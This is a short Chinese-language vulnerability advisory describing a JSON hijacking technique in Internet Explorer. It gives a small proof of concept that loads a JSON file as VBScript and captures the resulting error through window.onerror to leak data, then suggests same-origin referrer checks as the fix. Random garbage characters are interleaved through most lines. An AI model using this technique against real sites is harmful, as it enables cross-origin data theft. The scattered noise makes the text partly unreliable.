简要描述: Z# m6 K% x0 j! M# z8 F9 ?
" T) c& W- j" ~1 W- W4 I由于某些资源容器对数据处理不当导致json劫持漏洞.
. m( K+ W7 E1 R# ?详细说明:: R$ z0 t7 D' ^+ k/ q. c& `
由于ie支持vbscript,所以script元素可以指定成vbscript语言:! c6 Y1 L3 N; _2 |+ l
<script language=vbscript></script>
5 y# M0 K2 e4 v % _( u5 {3 ~+ n. V8 R# `
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
3 C" p/ |3 Q: d) ~; t% ]( N6 [6 r漏洞证明:( Z. Q* T, c1 Z. \5 V
<script>
; w# C) q6 R; R7 [window.onerror=function(_){
7 G/ H/ _" `/ Calert(_)
8 q" |+ r- j A+ o8 s/ d/ |. A. k}0 e n$ F; T( a, m9 B& J' W' N$ Y% p
</script>
5 e. v6 K' x- h- q<script language=vbscript src=1.json></script>
# e9 d- }' C, X+ W) ?; q( @
1 Y0 C ^ f1 Z i% j8 s& z- I
. c+ S+ ~1 q2 i6 J9 d+ ^1.json:: X0 R4 A& C$ _) v; S
[{"name":"sogili","age":19}]
0 h+ w6 i; |( X9 Z- F修复方案:
( O: X$ M, |4 D* J网站业务对于这个问题可以通过验证referrer是否为同源来防御 |